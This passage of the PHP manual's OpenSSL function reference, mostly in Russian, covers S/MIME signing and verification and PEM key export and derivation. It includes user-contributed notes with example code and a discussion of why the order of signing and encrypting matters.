     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

THIS IS WRONG!:
<?php
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?php
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
yurchenko dot anton at gmail dot com 01-Feb-2009 10:13
I also spent hours when trying to find the reason of error:
"error getting private key".

Sometimes this error appeared, sometimes not.

My solution is using the realpath() for every parameter of openssl_pkcs7_sign. In my case the code looks like:

<?php
$Certif_path = 'certificate/mycertificate.pem';

$clearfile = "certificate/random_name";
$encfile = $clearfile . ".enc";
$clearfile = $clearfile . ".txt";

// ----
// -- fill $clearfile with the mail to be signed ...
// ----

openssl_pkcs7_sign(realpath($clearfile),
                           realpath('.').'/'.$encfile, // because $encfile does not exist yet we cannot use realpath($encfile);
                           'file://'.realpath($Certif_path),

                           array('file://'.realpath($Certif_path), PUBLIC_KEY),

                           array("To" => TO_EMAIL,
                                 "From" => FROM_EMAIL,
                                 "Subject" => ""),

                           PKCS7_DETACHED));

?>
ungdi at hotmail dot com 10-Feb-2007 01:10
I would like to make a modification from my previous note. Some clients prefer a certain order in which messages should be signed and encrypted (if both is desired). Newer email clients, such as Thunderbird and Outlook 2003 will accept the most secure method of "sign -> encrypt -> sign again".

Why?

The first signing authenticates the message saying that you did indeed write it. Then the email is encrypted so that only the recipient can open and read it. Then the second signing ensure confidentiality by identifying that the person encrypting is the one whom encrypted it, a message intended for the decrypting person. This is the most secure method. This ensures: Non-Repudiation of message (first sign), Confidentiality (encrypt), and Context Integrity [you were intended to be addressed] (second sign).

If you only sign then encrypt, there is no way you can guarantee that (aside from the contents of the letter, headers are placed in plain text outside the message) that the message was intended for you by the original sender. For example:

Bob signs a love letter and encrypts it to Amy saying only "I love you. -- Bob". Amy decrypts it, sees the message (and plays a joke) and forwards the message to John using John's public key, re-encrypting, but not tampering with the message contents keeping the signature valid. This allows Amy to make it look like Bob sent John a love letter and that Bob loves John, as you cannot verify whom sent it during encryption. That is not what you want!

This is also analogous to someone taking a government document, put it in an envelope themselves and write the government address in the return address and send it to you. You know the letter is written by the government, but you don't know for sure whether the government sent it to you directly or was opened and relayed.

While encrypting then signing has a problem, this is affectively signing on the envelope of a snail mail piece. I know you sent it, but is the message really from you? Or are you forwarding it?

Sign - Encrypt - Sign Again method will make the first sign show that you know the writer of the message is the person, encrypt it to keep others from reading it, sign again to indicate the message was not relayed and that the sender intended to sent the mail to address you.

Just make sure the headers of the mail is applied in the last step and not the second or third step.

For more information about the security and integrity risks of this situation, please read this web page: http://world.std.com/~dtd/sign_encrypt/sign_encrypt7.html
dmitri at gmx dot net 04-Apr-2006 01:01
Working example:

<?php

$data = <<< EOF
Content-Type: text/plain;
    charset="us-ascii"
Content-Transfer-Encoding: 7bit

You have my authorization to spend 10,000 on dinner expenses.
The CEO
EOF;

$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

$headers = array("From" => "me@email.com");

openssl_pkcs7_sign("msg.txt", "signed.txt", "file://email.pem", array("file://email.pem", "123456"), $headers);

$data = file_get_contents("signed.txt");

$parts = explode("\n\n", $data, 2);

mail("you@email.com", "Signed message.", $parts[1], $parts[0]);

echo "Email sent";

?>
maarten at xolphin dot nl 11-Feb-2005 02:24
It is also possible to sign message including attachments. An easy way to do this:

<?php
  $boundary = md5(uniqid(time()));
  $boddy = "MIME-Version: 1.0\n";
  $boddy .= "Content-Type: multipart/mixed; boundary=\"" . $boundary. "\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= "This is a multi-part message in MIME format.\n\n";
  $boddy .= "--$boundary\n";
  $boddy .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= $EmailText . "\n\n";
  // Add the attachment to the message
  do  {
    $boddy .= "--$boundary\n";
    $boddy .= "Content-Type: application/pdf; name=\"FileName\"\n";
    $boddy .= "Content-Transfer-Encoding: base64\n";
    $boddy .= "Content-Disposition: attachment;\n\n";
    $boddy .= chunk_split(base64_encode($file)) . "\n\n";
  } while ( {files left to be attached} );
  $boddy .= "--$boundary--\n";

  // Save message to a file
  $msg = 'msg.txt';
  $signed = 'signed.txt';
  $fp = fopen($msg, "w");
  fwrite($fp, $boddy);
  fclose($fp);

  // Sign it
  if (openssl_pkcs7_sign($msg, $signed, 'file://cert.pem',
    array('file://key.pem', 'test'),
    array("To" => "joes@example.com", // keyed syntax
         "From: HQ <ceo@example.com>", // indexed syntax
         "Subject" => "Eyes only"), PKCS7_DETACHED, 'intermediate_cert.pem' )) {
    exec(ini_get('sendmail_path') . ' < ' . $signed);
  }
?>

The same can be established by using the PEAR package Mail_Mime in combination with openssl_pkcs7_sign.
Maciej_Niemir at ilim dot poznan dot pl 17-Oct-2003 07:46
This command doesn't work correctly on WIN32 with IIS. Mails aren?t interpreted correctly by IIS SMTP Server (and by Outlook too). The reason is that UNIX and WINDOWS interpret the ?enter to the next line? ascii code in a different way.

Below I present an improved code:

<?php

$data = <<<EOD

Testing 123

This is a test

Test

EOD;

//save the message to a file
$fp = fopen("msg.txt","w");
fwrite($fp,$data);
fclose($fp);

//sign the message using the sender's keys
openssl_pkcs7_sign("msg.txt", "signed.eml", "file://c:/max/cert.pem",
array("file://c:/max/priv.pem","your_password"),
array("To" => "recipient <recipients@mail.com>",
"From" => "sender <sender@mail.com>",
"Subject" => "Order Notification - Test"),PKCS7_DETACHED,"c:\max\extra_cert.pem");

$file_arry = file("signed.eml");
$file = join ("", $file_arry);
$message = preg_replace("/\r\n|\r|\n/", "\r\n", $file);

$fp = fopen("c:\Inetpub\mailroot\Pickup\signed.eml", "wb");
flock($fp, 2);
fputs($fp, $message);
flock($fp, 3);
fclose($fp);

?>

Besides, if you want to use the keys created with Windows, you should export them (from IE) to the form of PKCS#12 file (*.pfx).

Install OpenSSLWin32 from
http://www.shininglightpro.com/search.php?searchname=Win32+OpenSSL

execute: openssl.exe

enter the commands:

pkcs12 -in <pfx-file> -nokeys -out <pem-certs-file>

pkcs12 -in <pfx-file> -nocerts -nodes -out <pem-key-file>

Next export from IE Root CA certificate as Base-64 *.cer and rename the file to *.pem

And that's all!
php at toyingwithfate dot com 23-Sep-2003 02:55
It's probably worth noting that I had a great deal of difficulty getting either Mozilla 1.4 or Outlook Express 6 to verify signatures generated by openssl_pkcs7_sign() until I added a newline (\n) to the beginning of the message I was signing.  Not sure why that is, but as soon as I made that change all problems disappeared.
del at babel dot com dot au 03-May-2002 03:09
The "mycert.pem" parameters as shown in the example above are not correct.  You either have to pass a string containing the PEM encoded certificate or key, or the location of a file in file://path/to/file.pem notation.  See the comments on the OpenSSL functions page (the page above this one).
meint dot post at bigfoot dot com 04-Sep-2001 04:35
If you want to integrate PKCS7 signing/verifying with a browser and it's not a problem that it's only Internet Explorer (or Netscape + ActiveX plugin) you can look at Capicom. It's a free component and available at the MSDN website.


Проверить подпись сообщения S/MIME

  • « openssl_pkcs7_sign
  • openssl_pkey_derive »
  • PHP Manual
  • Функции OpenSSL
  • Проверить подпись сообщения S/MIME

openssl_pkcs7_verify

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_pkcs7_verify — Проверить подпись сообщения S/MIME

Описание

openssl_pkcs7_verify(
string $input_filename,
int $flags,
?string $signers_certificates_filename = null,
array $ca_info = [],
?string $untrusted_certificates_filename = null,
?string $content = null,
?string $output_filename = null
): bool|int

openssl_pkcs7_verify() читает S/MIME сообщение из файла и проверяет его подпись.

Список параметров

input_filename

Путь к файлу с сообщением.

flags

flags можно использовать для модификации процесса проверки. Более подробно смотрите константы PKCS7.

signers_certificates_filename

Если задан параметр signers_certificates_filename, то в нем должна быть строка с именем файла, в который будут сохранены сертификаты, использованные при подписании, в формате PEM.

ca_info

Если задан параметр ca_info, то в нем должна содержаться информация о доверенных сертификатах CA, которые необходимо использовать в процессе проверки. Более подробно читайте на странице проверки сертификатов.

untrusted_certificates_filename

Если задан параметр untrusted_certificates_filename, в нем должно содержаться имя файла, содержащего набор недоверенных сертификатов CA.

content

В параметре content можно указать имя файла, в который будут записаны верифицированные данные без информации о подписи.

output_filename

Возвращаемые значения

Возвращает true, если проверка успешна, false, если нет и -1 в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | signers_certificates_filename, untrusted_certificates_filename, content и output_filename теперь допускают значение null.
7.2.0 | Добавлен параметр output_filename.

Примечания

Замечание: Как указано в RFC 2045, длина параметра input_filename не должна быть длиннее 76 символов.

User Contributed Notes

reg1barclay at REMOVETHIS dot live dot it 08-Sep-2018 06:05
To verify a .p7m file with openssl_pkcs7_verify() you must convert it to S/MIME format. For example...
<?php
function der2smime($file)
{
    $to=<<<TXT
MIME-Version: 1.0
Content-Disposition: attachment; filename="smime.p7m"
Content-Type: application/x-pkcs7-mime; smime-type=signed-data; name="smime.p7m"
Content-Transfer-Encoding: base64
\n
TXT;
    $from=file_get_contents($file);
    $to.=chunk_split(base64_encode($from));
    return file_put_contents($file,$to);
}
?>
Krzychu 06-Dec-2013 09:34
To read signed message in base64 (not encrypted with priv&pub key):

You can just decode content by "base64_decode" or "imap_base64" functions and then erase by hand(regexp) sign from bottom of mail. Unfortunately  in my case (mail from Outlook) that  message (decoded by "base64_decode") has some additional special chars in some places (ie. before every attachment encoded base_64) what make message e-mail unable to parse.

After couple of hours I solved this:
It's needed to save single e-mail and use 2x "openssl_pkcs7_verify" function in row on original email (with headers and content in base64 ):
  1st use - extract sign (certificate) from e-mail and save to file *.cert
  2nd use - extract (with use that *.cert file) decoded message to  file*.out

Code:
  $handle  =  imap_open('mailbox.eml', '', '');

  $msg = 'home/john/tmp/email1.eml';
  imap_savebody($handle, $msg,  1);

  openssl_pkcs7_verify($msg, 0, $msg . '.cert');
  openssl_pkcs7_verify($msg, 0, $msg . '.cert', array(), $msg . '.cert', $msg.'.out');

  $email_content = file_get_contents($msg . '.out');


Вычисляет общий секрет для открытого значения удалённого и локального ключа DH или ECDH

  • « openssl_pkcs7_verify
  • openssl_pkey_export_to_file »
  • PHP Manual
  • Функции OpenSSL
  • Вычисляет общий секрет для открытого значения удалённого и локального ключа DH или ECDH

openssl_pkey_derive

(PHP 7 >= 7.3.0, PHP 8)

openssl_pkey_derive — Вычисляет общий секрет для открытого значения удалённого и локального ключа DH или ECDH

Описание

openssl_pkey_derive(OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key, OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key, int $key_length = 0): string|false

openssl_pkey_derive() принимает набор из public_key и private_key и порождает общий секрет для ключей DH или EC.

Список параметров

public_key

Открытый ключ для вывода. Список допустимых значений смотрите в разделе Параметры ключа/сертификата.

private_key

Закрытый ключ для вывода. Список допустимых значений смотрите в разделе Параметры ключа/сертификата.

key_length

Устанавливает желаемую длину производимого секрета, если значение не равно нулю.

Возвращаемые значения

Произведённый секрет в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования openssl_pkey_derive()

<?php
// Загрузка закрытого ключа
$priv = openssl_pkey_get_private("-----BEGIN PRIVATE KEY-----
MIICJgIBADCCARcGCSqGSIb3DQEDATCCAQgCggEBAJLxRCaZ933uW+AXmabHFDDy
upojBIRlbmQLJZfigDaSA1f9YOTsIv+WwVFTX/J1mtCyx9uBcz0Nt2kmVwxWuc2f
VtCEMPsmLsVXX7xRUFLpyX1Y1IYGBVXQOoOvLWYQjpZgnx47Pkh1Ok1+smffztfC
0DCNt4KorWrbsPcmqBejXHN79KvWFjZmXOksRiNu/Bn76RiqvofC4z8Ri3kHXQG2
197JGZzzFXHadGC3xbkg8UxsNbYhVMKbm0iANfafUH7/hoS9UjAVQYtvwe7YNiW/
HnyfVCrKwcc7sadd8Iphh+3lf5P1AhaQEAMytanrzq9RDXKBxuvpSJifRYasZYsC
AQIEggEEAoIBAGwAYC2E81Y1U2Aox0U7u1+vBcbht/OO87tutMvc4NTLf6NLPHsW
cPqBixs+3rSn4fADzAIvdLBmogjtiIZoB6qyHrllF/2xwTVGEeYaZIupQH3bMK2b
6eUvnpuu4Ytksiz6VpXBBRMrIsj3frM+zUtnq8vKUr+TbjV2qyKR8l3eNDwzqz30
dlbKh9kIhZafclHfRVfyp+fVSKPfgrRAcLUgAbsVjOjPeJ90xQ4DTMZ6vjiv6tHM
hkSjJIcGhRtSBzVF/cT38GyCeTmiIA/dRz2d70lWrqDQCdp9ArijgnpjNKAAulSY
CirnMsGZTDGmLOHg4xOZ5FEAzZI2sFNLlcw=
-----END PRIVATE KEY-----
");

// Загрузка открытого ключа
$pub = openssl_pkey_get_public("-----BEGIN PUBLIC KEY-----
MIICJDCCARcGCSqGSIb3DQEDATCCAQgCggEBAJLxRCaZ933uW+AXmabHFDDyupoj
BIRlbmQLJZfigDaSA1f9YOTsIv+WwVFTX/J1mtCyx9uBcz0Nt2kmVwxWuc2fVtCE
MPsmLsVXX7xRUFLpyX1Y1IYGBVXQOoOvLWYQjpZgnx47Pkh1Ok1+smffztfC0DCN
t4KorWrbsPcmqBejXHN79KvWFjZmXOksRiNu/Bn76RiqvofC4z8Ri3kHXQG2197J
GZzzFXHadGC3xbkg8UxsNbYhVMKbm0iANfafUH7/hoS9UjAVQYtvwe7YNiW/Hnyf
VCrKwcc7sadd8Iphh+3lf5P1AhaQEAMytanrzq9RDXKBxuvpSJifRYasZYsCAQID
ggEFAAKCAQAiCSBpxvGgsTorxAWtcAlSmzAJnJxFgSPef0g7OjhESytnc8G2QYmx
ovMt5KVergcitztWh08hZQUdAYm4rI+zMlAFDdN8LWwBT/mGKSzRkWeprd8E7mvy
ucqC1YXCMqmIwPySvLQUB/Dl8kgau7BLAnIJm8VP+MVrn8g9gghD0qRCgPgtEaDV
vocfgnOU43rhKnIgO0cHOKtw2qybSFB8QuZrYugq4j8Bwkrzh6rdMMeyMl/ej5Aj
c0wamOzuBDtXt0T9+Fx3khHaowjCc7xJZRgZCxg43SbqMWJ9lUg94I7+LTX61Gyv
dtlkbGbtoDOnxeNnN93gwQZngGYZYciu
-----END PUBLIC KEY-----
");

// Выводит шестнадцатеричную версию произведённого ключа
echo bin2hex(openssl_pkey_derive($pub,$priv));

User Contributed Notes

There are no user contributed notes for this page.


Записывает в файл ключ в формате PEM

  • « openssl_pkey_derive
  • openssl_pkey_export »
  • PHP Manual
  • Функции OpenSSL
  • Записывает в файл ключ в формате PEM

openssl_pkey_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_export_to_file — Записывает в файл ключ в формате PEM

Описание

openssl_pkey_export_to_file(
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $key,
string $output_filename,
?string $passphrase = null,
?array $options = null
): bool

openssl_pkey_export_to_file() записывает key в формате PEM в файл output_filename.

Замечание: Для корректной работы этой функции должен существовать правильный openssl.cnf. Для более подробной информации смотрите замечания под разделом установки.

Список параметров

key

output_filename

Путь до файла.

passphrase

Ключ опционально защищается паролем passphrase.

options

options можно использовать для тонкой настройки процесса экспорта путём указания, либо переопределения опций конфигурационного файла openssl. Смотрите openssl_csr_new() для подробной информации о options.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

User Contributed Notes

StampyCode 05-Jul-2016 03:26
On Linux (PHP5.6), this function will overwrite an existing keyfile, unless the keyfile is marked as read-only, in which case you will get an error:

    error:0200100D:system library:fopen:Permission denied
w3ricardo 27-Feb-2012 08:21
You can't use this function to export a public key

Warning: openssl_pkey_export_to_file(): supplied key param is a public key


Получает строку с ключом в формате PEM

  • « openssl_pkey_export_to_file
  • openssl_pkey_free »
  • PHP Manual
  • Функции OpenSSL
  • Получает строку с ключом в формате PEM

openssl_pkey_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_export — Получает строку с ключом в формате PEM

Описание

openssl_pkey_export(
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $key,
string &$output,
?string $passphrase = null,
?array $options = null
): bool

openssl_pkey_export() экспортирует key в виде строки в формате PEM и сохраняет его в output (передаётся по ссылке).

Замечание: Для корректной работы этой функции должен существовать правильный openssl.cnf. Для более подробной информации смотрите замечания под разделом установки.

Список параметров

key

output

passphrase

Ключ опционально защищается паролем passphrase.

options

options можно использовать для тонкой настройки процесса экспорта путём указания, либо переопределения опций конфигурационного файла openssl. Смотрите описание openssl_csr_new() для подробной информации о options.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

User Contributed Notes

eric at ericseastrand dot com 12-Apr-2012 11:49
I kept banging my head against the wall today trying to figure out why the RSA keys I was generating were encrypted (they have this stuff in them)
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BEA1180EADE1524F

I finally realized that the issue was that I was passing a password into the "openssl_pkey_export" method inadvertently.

So the moral of the story is: you have to use NULL as the password. using an empty string will still cause the key to be encrypted.
chris dot kistner at gmail dot com 13-Jan-2011 08:51
Please take note that older versions of PHP/OpenSSL exports the RSA private key with '-----BEGIN RSA PRIVATE KEY-----' PEM tag, which includes just the privateKey field, thus omitting the version and privateKeyAlgorithm fields.

The effect of that would be that if you're converting it to DER, and then back to PEM, but using '-----BEGIN PRIVATE KEY-----' PEM tag, that the openssl_pkey_get_privatekey() function will fail!

Senthryl's code can be used to prefix the PEM encoded data with the version and privateKeyAlgorithm fields again.

The newer PHP/OpenSSL versions exports the RSA private key with '-----BEGIN PRIVATE KEY-----' PEM tag, which includes the version and privateKeyAlgorithm fields.

I noticed these differences between my two servers:
PHP Version 5.3.3 (OpenSSL 1.0.0a-fips 1 Jun 2010) on Fedora Core 12 x64
PHP Version 5.2.9 (OpenSSL 0.9.8g 19 Oct 2007) on Fedora Core 10 x64
Senthryl 25-Jan-2010 11:06
This function can be used to create a private key for use by JCE in Java.  For example, a private key could be generated by a PHP script and the result could be used in a Java client application.

Java requires the private key in DER format with some extra ASN.1 wrapping.  The function below can be used to convert the output of openssl_pkey_export into a format suitable for input into JCE:

<?php
    function derLength($length) {
        if ($length < 128) return str_pad(dechex($length), 2, '0', STR_PAD_LEFT);
        $output = dechex($length);
        if (strlen($output) % 2 != 0) $output = '0'.$output;
        return dechex(128 + strlen($output)/2) . $output;
    }
    function convertPemToDer($pem) {
        $matches = array();
        if (!preg_match('~^-----BEGIN ([A-Z ]+)-----\s*?([A-Za-z0-9+=/\r\n]+)\s*?-----END \1-----\s*$~D', $pem, $matches)) {
            die('Invalid PEM format encountered.'."\n");
        }
        $derData = base64_decode(str_replace(array("\r", "\n"), array('', ''), $matches[2]));
        $derData = pack('H*', '020100300d06092a864886f70d010101050004'.derLength(strlen($derData))) . $derData;
                $derData = pack('H*', '30'.derLength(strlen($derData))) . $derData;
                return $derData;
    }
?>

Example use:
<?php
    $keys = openssl_pkey_new(array('digest_alg' => 'sha1', 'private_key_type' => OPENSSL_KEYTYPE_RSA, 'private_key_bits' => 2048));
    if ($keys === false) die('Failed to generate key pair.'."\n");
    if (!openssl_pkey_export($keys, $privateKey)) die('Failed to retrieve private key.'."\n");
    $javaKey = convertPemToDer($privateKey);

    file_put_contents('key_for_java.der', $javaKey);
?>

Exporting a public key for use with JCE is trickier, since the Java libraries require the key to be input as a byte array.  In effect, the public key outputted by openssl_pkey_get_details() must be base64 decoded as above, and then parsed as ASN.1 to receive the actual key bytes (this can be done either on the PHP side or the Java side).

The following link is an invaluable resource to understanding the output from these functions:
"A Layman's Guide to a Subset of ASN.1, BER, and DER"
http://luca.ntop.org/Teaching/Appunti/asn1.html
Tk at phpRocks dot net 02-May-2009 07:58
Complete example to encrypt data...
=)
<pre>
<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey, "PassPhrase number 1" );

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
//var_dump($privkey);
//var_dump($pubkey);

// Create the keypair
$res2=openssl_pkey_new();

// Get private key
openssl_pkey_export($res2, $privkey2, "This is a passPhrase *µa" );

// Get public key
$pubkey2=openssl_pkey_get_details($res2);
$pubkey2=$pubkey2["key"];
var_dump($privkey2);
var_dump($pubkey2);

$data = "Only I know the purple fox. Trala la !";

openssl_seal($data, $sealed, $ekeys, array($pubkey, $pubkey2));

var_dump("sealed");
var_dump(base64_encode($sealed));
var_dump(base64_encode($ekeys[0]));
var_dump(base64_encode($ekeys[1]));

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $ekeys[1], openssl_pkey_get_private  ($privkey2  ,"This is a passPhrase *µa" ) ) ) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

?>
</pre>

Outputs :
string(963) "-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DA1943487C9C83B2

1/j65PJgfYqYMJSWRBk9UzXaa3USMdpkq4ztzL7IPMTPgTwVKxZbvBxzsGUXUmh6
dkWpF1jzi3B44o06mw55t2LHNkGAph/iKVP4Zvnyp/KWaZJSF+pNkvukle1u2/40
WpbNy1f8LA+ZDr7ICOCY1jy/bz/xzOCrVjqY/F4ukQik9M6bL9ZwI5fyhrcHq6EG
KsUX49XKtP/a+kQhluejzIw1aDBqmHpJTCzkL7teCk6l8x8r8mMmss1D9XqggjFm
TQncqR6IU5DClklO53JdWSFC5zTcFYMgq9lMwCQ5o4bs8iBKiE+TOFEKiggtn5zA
v189tlPtM6YePcXAm5Ymgy90Ovq3lGS4k+JkCB2Hm3HgUAB3pd9v3fOeyuFMeing
XHBuLR5nmWITzcfRuAsh0p9xe2puTVFdrLkrQFnh5Xkerm+YUQ6oTecTKRFq7S3l
hLlFIg7KbXxDjg3H5f87DCEp/isV70Rc7flvIBP6u5GX+GrmCFWjQxmGefEJQ5fZ
P7sOzHEdkOHZV7yYn+5MwQ4vDHLKQxvMqUolgvuEAzcL1o976KHAQP0accmwApXz
jry3zVqRnGvyPHo+nGwRiATJj0lAgX/j8cghJg+oo+TiXD2cM5i+Hut4dmImZNDL
3Fn2uLzklQHPlaoaz2dACyaN/sUtmVLtdnn00nuwIy2xDfHDl9MOQ6WHocU78DWo
Mw+x8B+SBsALm3Ah6JzqA8l3OAYSRxjp7YQXLQLkdCi7jEjjTl/0NVTnqU+W89XB
GBH3r8ZgIpifl3M7ZYTKLnToNL7Y/AehPs+tKgFHkXtGMKu4cIt9Ag==
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH82E/Dn37torKz/vhAkpji9ZS
HCyfM7JuXCbh70F75Zh2/rEVvz38yNf6f01DNXiSpzO5eTmoXD7Blsb635AOjYbl
X/WljpFbwQ2QUUDlNDAslrqXYlMzht2MCq/pjtGgk0zJx6i+HjFyV7mebeePQY/x
NOzMpmy/Ke3u+SSHRwIDAQAB
-----END PUBLIC KEY-----
"
string(6) "sealed"
string(52) "y4L3+SDVJwTfa9Em61R3X2p/LElr8N/xPCXw8kqm0co4bn3V1Tw="
string(172) "ezUo2rWLGHPv9bHE5gG8fe5qy8erGlITsSs+qGr2o8aoi98SLnyIFm4N
EQWJrmU43Ehlw72NujJ
B8chYNw2NkIDfaLChvLH54CBuCfyuF+1lWEAUwL8
FU1LftqIIt1ikjSu/8qFU6S6wikJx1pFf1IbXfOeeJVvZ1UJM2rBbudI="
string(172) "RPYLXGBXDnXDIUrFy1/GOM+//Ew/mn2syKDbhIegOJJPnpd
X6ffwXkWH5Bp8kOdz0aO9gK3whG+c
/QF+9eqcTw9SvvlrDqsP0gkRGNIOgMUiBFLoMT92JQWSI7ZesDAU0
JPRWpXsKaIOEkBGmxOMYfEd6OJWp0Mwe4COL3lP2PQ="
here is the opened data: Only I know the purple fox. Trala la !
07-May-2007 12:31
you can get public key using openssl_pkey_get_details(resource $key ) function:

<?php

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
fule_put_contents('./key.pub', $keyData['key']);

?>
robbat2 at gentoo dot org 09-Aug-2004 11:47
Warning, this function is NOT capable of exporting PEM-encoded public keys. It can only export private keys.


Освобождает ресурс закрытого ключа

  • « openssl_pkey_export
  • openssl_pkey_get_details »
  • PHP Manual
  • Функции OpenSSL
  • Освобождает ресурс закрытого ключа

openssl_pkey_free

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_free — Освобождает ресурс закрытого ключа

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

openssl_pkey_free(OpenSSLAsymmetricKey $key): void

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

Функция высвобождает ресурс закрытого ключа, созданный openssl_pkey_new().

Список параметров

key

Ресурс, содержащий ключ.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | Функция устарела, так как больше не имеет смысла.
8.0.0 | key теперь принимает экземпляр OpenSSLAsymmetricKey; ранее принимался ресурс (resource) типа OpenSSL key.

User Contributed Notes

suconghou at gmail dot com 05-Jan-2021 08:31
PHP 8 deprecates openssl_free_key (actually openssl_pkey_free which it aliases) and automatically destroys the key instance when it goes out of scope.
djmaze 16-Jul-2019 08:51
This function also frees public key resources as received with openssl_pkey_get_public().

Manual above should say: "Frees a pkey resource"


Получает массив с детальной информацией о ключе

  • « openssl_pkey_free
  • openssl_pkey_get_private »
  • PHP Manual
  • Функции OpenSSL
  • Получает массив с детальной информацией о ключе

openssl_pkey_get_details

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_pkey_get_details — Получает массив с детальной информацией о ключе

Описание

openssl_pkey_get_details(OpenSSLAsymmetricKey $key): array|false

Эта функция возвращает массив с детальной информацией о ключе.

Список параметров

key

Ресурс, содержащий ключ.

Возвращаемые значения

Возвращает массив с детальной информацией о ключе, либо false. Массив содержит следующие индексы: bits (количество бит), key (строковое представление открытого ключа) и type (тип ключа, одна из констант: OPENSSL_KEYTYPE_RSA, OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH, OPENSSL_KEYTYPE_EC или -1, если неизвестно).

В зависимости от типа используемого ключа, могут быть возвращены дополнительные данные. Обратите внимание, что некоторых элементов может и не быть.

  • Для OPENSSL_KEYTYPE_RSA возвращается элемент с индексом "rsa", содержащий данные ключа.
    Ключ | Описание
    "n" | модуль
    "e" | открытая экспонента
    "d" | секретная экспонента
    "p" | первое простое число
    "q" | второе простое число
    "dmp1" | первая экспонента, d mod (p-1)
    "dmq1" | вторая экспонента, d mod (q-1)
    "iqmp" | коэффициент, (1 / q) mod p
  • Для OPENSSL_KEYTYPE_DSA возвращается элемент с индексом "dsa", содержащий данные ключа.
    Ключ | Описание
    "p" | Простое число (публичное)
    "q" | 160-битное простое число, такое, что p-1 делится на q (публичное)
    "g" | Генератор подгрупп (публичный). Мультипликативный порядок g по модулю p равен q
    "priv_key" | Секретный ключ x
    "pub_key" | Открытый ключ y = g^x
  • Для OPENSSL_KEYTYPE_DH возвращается элемент с индексом "dh", содержащий данные ключа.
    Ключ | Описание
    "p" | Простое число (открытое)
    "g" | Генератор Z_p (открытый), простое число, первообразный корень по модулю p
    "priv_key" | секретное DH значение x
    "pub_key" | открытое DH значение g^x
  • OPENSSL_KEYTYPE_EC возвращается элемент с индексом "ec", содержащий данные ключа.
    Ключ | Описание
    "curve_name" | Название кривой, смотри openssl_get_curve_names()
    "curve_oid" | Идентификатор объекта ASN1 (OID) для кривой EC.
